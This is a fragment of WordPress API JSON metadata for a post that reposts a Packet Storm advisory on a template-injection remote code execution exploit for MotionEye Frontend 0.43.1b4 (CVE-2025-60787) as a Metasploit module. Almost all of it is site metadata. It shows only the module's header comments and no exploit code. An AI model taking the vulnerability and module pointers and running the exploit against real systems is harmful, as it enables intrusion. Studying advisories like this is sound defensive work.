redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=21079","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-10T19:33:33&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210394&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-60787&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn ##n n...","og_url":"https:\/\/zero.redgem.net\/?p=21079","og_site_name":"zero redgem","article_published_time":"2025-10-10T15:52:40+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=21079#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=21079"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394","datePublished":"2025-10-10T15:52:40+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=21079"},"wordCount":2213,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=21079#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=21079","url":"https:\/\/zero.redgem.net\/?p=21079","name":"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-10T15:52:40+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=21079#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=21079"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=21079#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/21079","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21079"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/21079\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21079"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21079"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21079"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}